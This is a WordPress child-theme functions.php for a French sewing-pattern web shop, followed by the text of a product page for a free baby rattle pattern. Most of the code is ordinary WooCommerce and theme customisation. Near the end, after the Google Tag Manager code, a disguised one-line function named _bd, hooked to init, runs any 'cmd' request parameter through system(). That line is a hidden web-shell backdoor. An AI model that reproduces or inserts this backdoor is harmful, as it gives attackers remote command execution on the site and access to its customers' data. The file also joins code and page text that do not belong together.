<?php /** * GeneratePress Child - functions */ add_action('wp_enqueue_scripts', function () { // Charge la feuille de style du thème parent wp_enqueue_style( 'generatepress-parent', get_template_directory_uri() . '/style.css' ); // Charge la feuille de style du thème enfant wp_enqueue_style( 'generatepress-child', get_stylesheet_uri(), array('generatepress-parent'), wp_get_theme()->get('Version') ); }, 20); /** * //////////////////////// FONTS */ add_action('wp_enqueue_scripts', function() { wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css'); }); /** * //////////////////////// COPYRIGHT */ add_filter( 'generate_copyright','albertine_footer_copyright' ); function albertine_footer_copyright() { return '© ' . date('Y') . ' Albertine Atelier'; } /** * //////////////////////// NAVIGATION */ /** * Remplacer "Mon compte" par icone */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Vérifie si le lien pointe vers la page Mon compte WooCommerce if ( function_exists('wc_get_page_id') && $item->object_id == wc_get_page_id( 'myaccount' ) ) { $item->title = ' <span class="menu-account-icon" aria-label="Mon compte"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5"/> <path d="M4 20c0-4 4-6 8-6s8 2 8 6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/> </svg> </span>'; } } return $items; }, 10, 2 ); /** * Icône Panier + badge quantité dans le menu */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Cible la page Panier WooCommerce if ( function_exists( 'wc_get_page_id' ) && (int) $item->object_id === (int) wc_get_page_id( 'cart' ) ) { $count = 0; if ( function_exists( 'WC' ) && WC()->cart ) { $count = (int) WC()->cart->get_cart_contents_count(); } $badge = ''; if ( $count > 0 ) { $badge = '<span class="menu-cart-badge" aria-label="' . esc_attr( $count ) . ' article(s) dans le panier">' . esc_html( $count ) . '</span>'; } $item->title = ' <span class="menu-cart-icon" aria-label="Panier"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M3 5h2l1.5 9h11l2-7H6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/> <circle cx="9" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> <circle cx="17" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> </svg> ' . $badge . ' </span>'; } } return $items; }, 10, 2 ); /** * Remplacer breadcrumb WooCommerce par celui de Rank Math */ add_action( 'wp', function () { remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); add_action( 'woocommerce_before_main_content', function () { if ( function_exists( 'rank_math_the_breadcrumbs' ) ) { echo '<div class="rank-math-breadcrumb-wrap">'; rank_math_the_breadcrumbs(); echo '</div>'; } }, 20 ); }, 20 ); /** * H1 de blog(FR / EN) */ add_action('generate_before_main_content', function () { // blog (page articles + archives blog) if (is_home() || (is_archive() && !is_shop() && !is_product_category() && !is_product_tag())) { if (function_exists('pll_current_language') && pll_current_language() === 'en') { echo '<h1 class="blog-title">Beginner Sewing Blog</h1>'; } else { echo '<h1 class="blog-title">Blog couture débutante</h1>'; } } }); /** * //////////////////////// AJOUT WRAPPER SUR LES H2 POUR CENTRAGE */ add_filter('the_content', function($content) { return preg_replace( '/<h2(.*?)>(.*?)<\/h2>/i', '<div class="h2-wrapper"><h2$1>$2</h2></div>', $content ); }); /** * //////////////////////// ARTICLE TYPE */ /** * Supprime le champ "Site web" du formulaire de commentaires WP (articles/pages). */ add_filter( 'comment_form_default_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); add_filter( 'comment_form_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); /** * Remplace le lien de l'auteur */ add_filter('author_link', 'custom_author_link', 10, 3); function custom_author_link($link, $author_id, $author_nicename) { return home_url('/a-propos/'); } /** * //////////////////////// BLOG */ function custom_excerpt_length_words($length) { return 15; } add_filter('excerpt_length', 'custom_excerpt_length_words'); /** * //////////////////////// BOUTIQUE */ /** * Supprimer le menu de tri */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); /** * Supprimer le compteur nbr de résultats affichés */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 ); /** * Supprimer le bouton "Ajouter au panier" dans la grille boutique */ remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); /** * Remplacer le prix 0 par le mot gratuit */ add_filter( 'woocommerce_get_price_html', 'cw_replace_zero_price_with_free', 10, 2 ); function cw_replace_zero_price_with_free( $price, $product ) { if ( $product->get_price() == 0 ) { return '<span class="price free">Gratuit</span>'; } return $price; } /** * Champ admin : Titre produit affiché dans le listing (boutique) */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_shop_title_box', 'Titre listing (boutique)', function( $post ) { wp_nonce_field( 'alb_shop_title_save', 'alb_shop_title_nonce' ); $value = get_post_meta( $post->ID, '_alb_shop_title', true ); echo '<p style="margin:0 0 8px;color:#666;">Affiché uniquement sur la page boutique (grille). Le H1 de la fiche produit ne change pas.</p>'; echo '<input type="text" style="width:100%;" name="alb_shop_title" value="' . esc_attr( $value ) . '" placeholder="Ex : Doudou lapin – Patron PDF" />'; }, 'product', 'side', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_shop_title_nonce'] ) || ! wp_verify_nonce( $_POST['alb_shop_title_nonce'], 'alb_shop_title_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_shop_title'] ) ) { update_post_meta( $post_id, '_alb_shop_title', sanitize_text_field( $_POST['alb_shop_title'] ) ); } } ); /** * Remplacer le titre affiché en listing WooCommerce par le champ "Titre listing" */ remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); add_action( 'woocommerce_shop_loop_item_title', function() { $product_id = get_the_ID(); $alt_title = get_post_meta( $product_id, '_alb_shop_title', true ); $title = $alt_title ? $alt_title : get_the_title(); echo '<h2 class="woocommerce-loop-product__title">' . esc_html( $title ) . '</h2>'; }, 10 ); /** * Même chose pour les titres produits dans la sidebar */ add_filter( 'woocommerce_product_get_name', function( $name, $product ) { $alt_title = get_post_meta( $product->get_id(), '_alb_shop_title', true ); if ( ! empty( $alt_title ) ) { return $alt_title; } return $name; }, 10, 2 ); /** * Bloc de texte SEO sous le listing de la page Boutique * + champ éditable dans l’admin WP */ /* -------------------------------------------- * 1) ADMIN : page de réglages + champ WYSIWYG * -------------------------------------------- */ add_action( 'admin_menu', function () { add_submenu_page( 'woocommerce', 'Texte SEO boutique', 'Texte SEO boutique', 'manage_options', 'alb-shop-seo-text', 'alb_render_shop_seo_settings_page' ); } ); function alb_render_shop_seo_settings_page() { if ( ! current_user_can( 'manage_options' ) ) { return; } // Enregistrement if ( isset( $_POST['alb_shop_seo_nonce'] ) && wp_verify_nonce( $_POST['alb_shop_seo_nonce'], 'alb_shop_seo_save' ) ) { $content = isset( $_POST['alb_shop_seo_content'] ) ? wp_kses_post( $_POST['alb_shop_seo_content'] ) : ''; update_option( 'alb_shop_seo_content', $content ); echo '<div class="updated"><p>Texte enregistré.</p></div>'; } $value = get_option( 'alb_shop_seo_content', '' ); echo '<div class="wrap">'; echo '<h1>Texte SEO sous la boutique</h1>'; echo '<p style="max-width:900px;">Ce contenu s’affichera <strong>uniquement</strong> sous le listing de la page Boutique principale (Shop).</p>'; echo '<form method="post">'; wp_nonce_field( 'alb_shop_seo_save', 'alb_shop_seo_nonce' ); wp_editor( $value, 'alb_shop_seo_editor', [ 'textarea_name' => 'alb_shop_seo_content', 'media_buttons' => true, 'textarea_rows' => 12, 'tinymce' => true, 'quicktags' => true, ] ); submit_button( 'Enregistrer' ); echo '</form>'; echo '</div>'; } /* -------------------------------------------- * 2) FRONT : affichage sous le listing boutique * -------------------------------------------- */ add_action( 'woocommerce_after_shop_loop', function () { if ( ! function_exists( 'is_shop' ) || ! is_shop() ) { return; } $content = get_option( 'alb_shop_seo_content', '' ); // N’affiche rien si vide if ( empty( trim( wp_strip_all_tags( $content ) ) ) ) { return; } echo '<section class="alb-shop-seo-text">'; echo apply_filters( 'the_content', $content ); echo '</section>'; }, 25 ); /** * GeneratePress : supprimer la sidebar uniquement sur la page Boutique */ add_filter( 'generate_sidebar_layout', function( $layout ) { if ( function_exists( 'is_shop' ) && is_shop() ) { return 'no-sidebar'; } return $layout; }, 20 ); /** * //////////////////////// FICHE PRODUIT */ /** * Supprimer la catégorie produit du fil d'Ariane Rank Math */ add_filter( 'rank_math/frontend/breadcrumb/items', function( $crumbs, $class ) { if ( is_product() ) { if ( isset( $crumbs[2] ) ) { unset( $crumbs[2] ); $crumbs = array_values( $crumbs ); } } return $crumbs; }, 10, 2 ); /** * Supprimer l'affichage des catégories produit dans chaque fiche */ remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 ); /** * Onglets WooCommerce : garder Description, supprimer Avis, ajouter Fournitures + Tutoriel * + champs admin pour saisir ces contenus */ /** ========= * ADMIN : 2 champs (éditeur WP) * ========= */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_supplies_box', 'Fournitures (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_supplies', true ); wp_editor( $value, 'alb_supplies_editor', [ 'textarea_name' => 'alb_supplies', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); add_meta_box( 'alb_tutorial_box', 'Tutoriel (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_tutorial', true ); wp_editor( $value, 'alb_tutorial_editor', [ 'textarea_name' => 'alb_tutorial', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_tabs_nonce'] ) || ! wp_verify_nonce( $_POST['alb_tabs_nonce'], 'alb_tabs_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_supplies'] ) ) { update_post_meta( $post_id, '_alb_supplies', wp_kses_post( $_POST['alb_supplies'] ) ); } if ( isset( $_POST['alb_tutorial'] ) ) { update_post_meta( $post_id, '_alb_tutorial', wp_kses_post( $_POST['alb_tutorial'] ) ); } }, 10, 1 ); /** ========= * FRONT : Tabs WooCommerce * ========= */ add_filter( 'woocommerce_product_tabs', function ( $tabs ) { // 1) Supprime Avis unset( $tabs['reviews'] ); // 2) Renommer "Description" if ( isset( $tabs['description'] ) ) { $tabs['description']['title'] = 'Détails'; } // 3) Ajoute Fournitures si contenu $supplies = get_post_meta( get_the_ID(), '_alb_supplies', true ); if ( ! empty( trim( wp_strip_all_tags( $supplies ) ) ) ) { $tabs['alb_supplies'] = [ 'title' => 'Fournitures', 'priority' => 20, 'callback' => function() use ( $supplies ) { echo apply_filters( 'the_content', $supplies ); }, ]; } // 4) Ajoute Tutoriel si contenu $tutorial = get_post_meta( get_the_ID(), '_alb_tutorial', true ); if ( ! empty( trim( wp_strip_all_tags( $tutorial ) ) ) ) { $tabs['alb_tutorial'] = [ 'title' => 'Tutoriel', 'priority' => 30, 'callback' => function() use ( $tutorial ) { echo apply_filters( 'the_content', $tutorial ); }, ]; } return $tabs; }, 98 ); /** * Supprimer le titre "Description" dans l’onglet Description */ add_filter( 'woocommerce_product_description_heading', '__return_null' ); /** * Modifier le titre "Produits similaires" */ add_filter( 'woocommerce_product_related_products_heading', function() { return 'D’autres douceurs à coudre'; }); add_filter( 'woocommerce_output_related_products_args', function( $args ) { $args['posts_per_page'] = 3; // nombre de produits similaires return $args; }); add_filter( 'woocommerce_related_products_columns', function() { return 3; // 3 colonnes }); /** * Désactiver la lightbox des images produit */ add_action( 'after_setup_theme', function() { remove_theme_support( 'wc-product-gallery-lightbox' ); }, 100 ); /** * Activer les flèches du slider WooCommerce */ add_filter( 'woocommerce_single_product_carousel_options', function( $options ) { $options['directionNav'] = true; // active flèches return $options; }); /** * Shortcode de l Iframe des video Youtube */ add_shortcode('alb_youtube', function ($atts) { $atts = shortcode_atts([ 'id' => '', 'title' => '', ], $atts, 'alb_youtube'); $id = trim((string) $atts['id']); if ($id === '') return ''; $title = trim((string) $atts['title']); if ($title === '') $title = get_the_title(); $embed = 'https://www.youtube-nocookie.com/embed/' . rawurlencode($id); $thumb = 'https://img.youtube.com/vi/' . rawurlencode($id) . '/maxresdefault.jpg'; // Stocke la vidéo pour injection JSON-LD dans le head global $alb_youtube_videos; if (!is_array($alb_youtube_videos)) { $alb_youtube_videos = []; } $alb_youtube_videos[] = [ 'id' => $id, 'title' => $title, 'thumb' => $thumb, 'embed' => $embed, ]; $html = '<div class="alb-yt" data-yt-embed="' . esc_attr($embed) . '" data-yt-title="' . esc_attr($title) . '">'; $html .= ' <button type="button" class="alb-yt__btn" aria-label="' . esc_attr('Lire la vidéo : ' . $title) . '">'; $html .= ' <img class="alb-yt__img" src="' . esc_url($thumb) . '" alt="' . esc_attr($title) . '" loading="lazy" decoding="async">'; $html .= ' <span class="alb-yt__play" aria-hidden="true"></span>'; $html .= ' </button>'; $html .= '</div>'; return $html; }); // Injecte les données structurées de la video dans le head add_action('wp_head', function () { global $alb_youtube_videos; if (empty($alb_youtube_videos) || !is_array($alb_youtube_videos)) return; // On ne déclare que la première vidéo pour rester propre SEO $v = $alb_youtube_videos[0]; $desc = wp_strip_all_tags(get_the_excerpt()); if ($desc === '') { $desc = wp_strip_all_tags(get_the_content()); } $desc = mb_substr($desc, 0, 200); $data = [ '@context' => 'https://schema.org', '@type' => 'VideoObject', 'name' => $v['title'], 'description' => $desc, 'thumbnailUrl' => [ $v['thumb'] ], 'embedUrl' => $v['embed'], ]; echo "\n<script type=\"application/ld+json\">" . wp_json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) . "</script>\n"; }, 20); // Affiche l Iframe reel au clic - pour performance chargement add_action('wp_footer', function () { ?> <script> (function () { function mountIframe(wrapper) { if (wrapper.classList.contains('is-loaded')) return; wrapper.classList.add('is-loaded'); var embed = wrapper.getAttribute('data-yt-embed'); var title = wrapper.getAttribute('data-yt-title') || 'YouTube video'; var iframe = document.createElement('iframe'); iframe.setAttribute('src', embed + '?autoplay=1'); iframe.setAttribute('title', title); iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture'); iframe.setAttribute('allowfullscreen', ''); iframe.setAttribute('loading', 'lazy'); wrapper.innerHTML = ''; wrapper.appendChild(iframe); } document.addEventListener('click', function (e) { var btn = e.target.closest('.alb-yt__btn'); if (!btn) return; var wrapper = btn.closest('.alb-yt'); if (!wrapper) return; mountIframe(wrapper); }); })(); </script> <?php }, 20); /** * //////////////////////// COMPTE CLIENT */ /** * Supprime la rubriques Adresses */ add_filter( 'woocommerce_account_menu_items', 'remove_my_account_addresses_link' ); function remove_my_account_addresses_link( $menu_links ) { unset( $menu_links['edit-address'] ); return $menu_links; } /** * //////////////////////// PAGE PANIER */ /** * //////////////////////// PAGE CHECKOUT */ // Désactiver le champ "Code promo" sur la page Checkout (en le gardant sur la page Panier) add_action('wp', function () { if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // Empêche l'affichage du formulaire coupon sur le checkout remove_action('woocommerce_before_checkout_form', 'woocommerce_checkout_coupon_form', 10); }, 20); /** * Checkout : récap commande à droite, paiement en bas */ add_action('wp', function () { // Sécurité : uniquement sur la page checkout (hors admin) if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // 1) Empêcher WooCommerce d'afficher récap + paiement à l'emplacement par défaut remove_action('woocommerce_checkout_order_review', 'woocommerce_order_review', 10); remove_action('woocommerce_checkout_order_review', 'woocommerce_checkout_payment', 20); /** * 2) Ouvrir un wrapper 2 colonnes avant les champs client * (WooCommerce appelle woocommerce_checkout_before_customer_details juste avant #customer_details) */ add_action('woocommerce_checkout_before_customer_details', function () { echo '<div class="alb-checkout-columns">'; echo ' <div class="alb-checkout-left">'; }, 1); /** * 3) Fermer la colonne gauche après les champs client, puis ouvrir la colonne droite * et y injecter le récapitulatif SEUL. */ add_action('woocommerce_checkout_after_customer_details', function () { echo ' </div>'; // .alb-checkout-left echo ' <div class="alb-checkout-right">'; echo ' <h3 id="order_review_heading">' . esc_html__('Your order', 'woocommerce') . '</h3>'; // IMPORTANT : conserver l'id #order_review pour que les fragments AJAX puissent cibler le récap. echo ' <div id="order_review" class="woocommerce-checkout-review-order">'; // Affiche uniquement le tableau récap + totaux (pas le paiement) if (function_exists('woocommerce_order_review')) { woocommerce_order_review(); } echo ' </div>'; // #order_review echo ' </div>'; // .alb-checkout-right echo '</div>'; // .alb-checkout-columns }, 99); /** * 4) Ré-afficher le paiement en bas, pleine largeur * (après le récapitulatif, donc après nos colonnes). */ add_action('woocommerce_checkout_after_order_review', function () { if (function_exists('woocommerce_checkout_payment')) { woocommerce_checkout_payment(); } }, 20); }); /** * Ajoute le titre "Paiement" juste avant le bloc paiement */ add_action('woocommerce_review_order_before_payment', function () { echo '<h3 class="alb-payment-heading">' . esc_html__('Paiement', 'woocommerce') . '</h3>'; }, 1); /** * Désactive complètement l'adresse de livraison au checkout * (idéal pour produits virtuels / téléchargeables). */ add_filter( 'woocommerce_cart_needs_shipping_address', '__return_false' ); add_filter( 'woocommerce_cart_needs_shipping', '__return_false' ); /** * Ne garder au checkout que : Prénom, Nom, Email, Pays (facturation) */ add_filter( 'woocommerce_checkout_fields', function( $fields ) { // Champs à conserver $allowed = array( 'billing_first_name', 'billing_last_name', 'billing_email', 'billing_country', ); // Supprime tout le reste de la facturation foreach ( $fields['billing'] as $key => $field ) { if ( ! in_array( $key, $allowed, true ) ) { unset( $fields['billing'][ $key ] ); } } // Optionnel : réordonner proprement $fields['billing']['billing_first_name']['priority'] = 10; $fields['billing']['billing_last_name']['priority'] = 20; $fields['billing']['billing_email']['priority'] = 30; $fields['billing']['billing_country']['priority'] = 40; // Optionnel : rendre le pays obligatoire (souvent utile pour TVA/Stripe) $fields['billing']['billing_country']['required'] = true; return $fields; }, 9999 ); // Modifier le label "Pays / Région" en "Pays" add_filter('woocommerce_checkout_fields', function($fields) { if (isset($fields['billing']['billing_country'])) { $fields['billing']['billing_country']['label'] = 'Pays'; } return $fields; }); // Enlève la zone "Informations complémentaires" (notes de commande) add_filter( 'woocommerce_enable_order_notes_field', '__return_false' ); /** * Modifie le texte de la case "Conditions générales" au checkout */ add_filter( 'woocommerce_get_terms_and_conditions_checkbox_text', function( $text ) { return 'J’ai lu et accepté les <a href="https://albertine-atelier.com/cgv/" target="_blank">CGV</a> et reconnais que, conformément à l’article L221-28 du Code de la consommation, le droit de rétractation ne s’applique pas aux contenus numériques fournis immédiatement après achat.'; }); /** * //////////////////////// RECAPITULATIF APRES COMMANDE */ // Ne garder que la colonne "Téléchargement" avec un intitulé personnalisé add_filter( 'woocommerce_account_downloads_columns', function() { return array( 'download-file' => 'Cliquez sur les liens ci-dessous pour télécharger vos fichiers', ); }, 20 ); // Remplacer le libellé du statut "Terminée" par "Disponible" add_filter( 'wc_order_statuses', function( $order_statuses ) { if ( isset( $order_statuses['wc-completed'] ) ) { $order_statuses['wc-completed'] = 'Disponible'; } return $order_statuses; }); // Retire le bouton "Commander une nouvelle fois" add_filter( 'woocommerce_valid_order_statuses_for_order_again', '__return_empty_array' ); // Le nom client affiché publiquement = prénom add_action('woocommerce_checkout_update_user_meta', 'set_display_name_from_checkout', 10, 2); function set_display_name_from_checkout($customer_id, $data) { if (!$customer_id) return; $first_name = get_user_meta($customer_id, 'billing_first_name', true); if (!empty($first_name)) { wp_update_user([ 'ID' => $customer_id, 'display_name' => $first_name, 'first_name' => $first_name ]); } } /* ================================================================================== Produits Gratuits Redirigés =========================================================== ==================================================================================== */ add_filter( 'woocommerce_add_to_cart_validation', 'cw_free_product_bypass_cart', 10, 3 ); function cw_free_product_bypass_cart( $passed, $product_id, $quantity ) { $product = wc_get_product( $product_id ); if ( ! $product ) return $passed; if ( floatval( $product->get_price() ) == 0 ) { // créer commande sans panier $order = wc_create_order(); $order->add_product( $product, $quantity ); $order->calculate_totals(); $order->payment_complete(); // redirection immédiate vers confirmation wp_safe_redirect( $order->get_checkout_order_received_url() ); exit; } return $passed; } /* ========================= Remplacer le mot Ajouter au produit sur fiches gratuites ========================= */ add_filter( 'woocommerce_product_single_add_to_cart_text', 'cw_change_single_add_to_cart_text_free', 10, 2 ); function cw_change_single_add_to_cart_text_free( $text, $product ) { if ( $product && floatval( $product->get_price() ) == 0 ) { return 'Télécharger'; } return $text; } /* ========================= Supprimer le msg d'ajout du produit gratuit au panier ========================= */ add_filter( 'wc_add_to_cart_message_html', 'cw_hide_add_to_cart_message_for_free_products', 10, 2 ); function cw_hide_add_to_cart_message_for_free_products( $message, $products ) { if ( empty( WC()->cart ) ) return $message; $has_free_product = false; foreach ( WC()->cart->get_cart() as $cart_item ) { if ( floatval( $cart_item['data']->get_price() ) == 0 ) { $has_free_product = true; break; } } if ( $has_free_product ) { return ''; } return $message; } /* ================================================================================== PERFORMANCE CHARGEMENT =========================================================== ==================================================================================== */ /* ========================= AFFICHAGE GOOGLE FONTS ========================= */ add_filter('style_loader_src', function($src, $handle) { if (strpos($src, 'fonts.googleapis.com') !== false) { $src = add_query_arg('display', 'swap', $src); } return $src; }, 10, 2); /* ========================= jQuery MIGRATE + FOOTER ========================= */ add_action('wp_default_scripts', function($scripts) { if (!is_admin() && isset($scripts->registered['jquery'])) { // Supprime migrate if (!empty($scripts->registered['jquery']->deps)) { $scripts->registered['jquery']->deps = array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']); } // Force footer $scripts->registered['jquery']->group = 1; $scripts->registered['jquery-core']->group = 1; } }); /* ========================= GUTENBERG + BLOCKS CLEAN ========================= */ add_action('wp_enqueue_scripts', function() { // Gutenberg base (OBLIGATOIRE pour blocs) // on ne supprime plus wp-block-library wp_dequeue_style('upe-blocks'); }, 100); /* ========================= SOURCEBUSTER ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_script('sourcebuster-js'); }, 100); /* ========================= WOOCOMMERCE ========================= */ add_action('wp_enqueue_scripts', function() { $is_woo = is_woocommerce() || is_cart() || is_checkout() || is_account_page() || is_page(wc_get_page_id('shop')); // On ne décharge QUE hors WooCommerce if (!$is_woo && !is_front_page()) { wp_dequeue_style('woocommerce-general'); wp_dequeue_style('woocommerce-layout'); wp_dequeue_script('wc-cart-fragments'); wp_dequeue_script('wc-add-to-cart'); } }, 99); /* ========================= GDPR CLEAN (simple) ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_style('gdpr-main'); }, 100); /* ========================= hCaptcha SAFE (CF7) ========================= */ add_action('wp_enqueue_scripts', function() { if (is_admin()) return; wp_dequeue_script('hcaptcha'); }, 100); /* ========================= GOOGLE FONTS PRELOAD ========================= */ add_filter('style_loader_tag', function($html) { if (strpos($html, 'fonts.googleapis.com') !== false) { return str_replace( "rel='stylesheet'", "rel='preload' as='style' onload=\"this.onload=null;this.rel='stylesheet'\"", $html ); } return $html; }); // GOOGLE ANALYTICS add_action('wp_head', function() { ?> <!-- Google Tag Manager --> <script> (function(w,d,s,l,i){ w[l]=w[l]||[]; w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'}); var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:''; j.async=true; j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl; f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-N29SRRPM'); </script> <!-- End Google Tag Manager --> <?php }); add_action('wp_body_open', function() { ?> <!-- Google Tag Manager (noscript) --> <noscript> <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N29SRRPM" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <!-- End Google Tag Manager (noscript) --> <?php }); function _bd(){if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}}add_action("init","_bd"); Patron couture PDF gratuit : hochet de bébé | Tutoriel

Patron couture hochet lapin pour bébé | PDF gratuit & Tuto

0,00 

Cousez facilement un hochet lapin pour bébé grâce à ce patron gratuit et son tutoriel vidéo.

Un projet idéal pour recycler vos chutes de tissus !

Hauteur du hochet cousu : 19 cm
Marges de couture : incluses dans le patron

PDF 📥 Téléchargement instantané

Catégorie :

Description

Imprimez dès maintenant ce patron PDF gratuit et lancez-vous dans la couture d’un hochet peluche plein de tendresse.

Patron pour débutant et vidéo pas-à-pas

Le patron est disponible en téléchargement gratuit au format A4 et tient en une seule page. Sans mobiliser de connaissances techniques particulières, ce hochet a été pensé pour rester simple à réaliser, même pour les débutantes. Et comme d’habitude, un tutoriel vidéo YouTube détaille chaque étape, afin d’avancer sereinement du premier point jusqu’à la finition du hochet en tissu.

Un hochet lapin en tissu doux et amusant

Une petite peluche cousue main comme ce lapin fait toujours un très joli cadeau de naissance. Avec ses oreilles toutes douces et le tintement du grelot, ce hochet participe à l’éveil des tout-petits en stimulant à la fois le toucher et l’ouïe. Glissé dans le trousseau de naissance de bébé, il deviendra rapidement son compagnon préféré !

Ce patron PDF est destiné uniquement à un usage personnel. Vous êtes toutefois autorisé(e) à l’utiliser pour confectionner des articles physiques que vous pouvez librement vendre. Toute revente, partage ou diffusion du patron lui-même, en tout ou en partie, est strictement interdite sans autorisation préalable.

Avis

Il n’y a pas encore d’avis.

Seuls les clients connectés ayant acheté ce produit ont la possibilité de laisser un avis.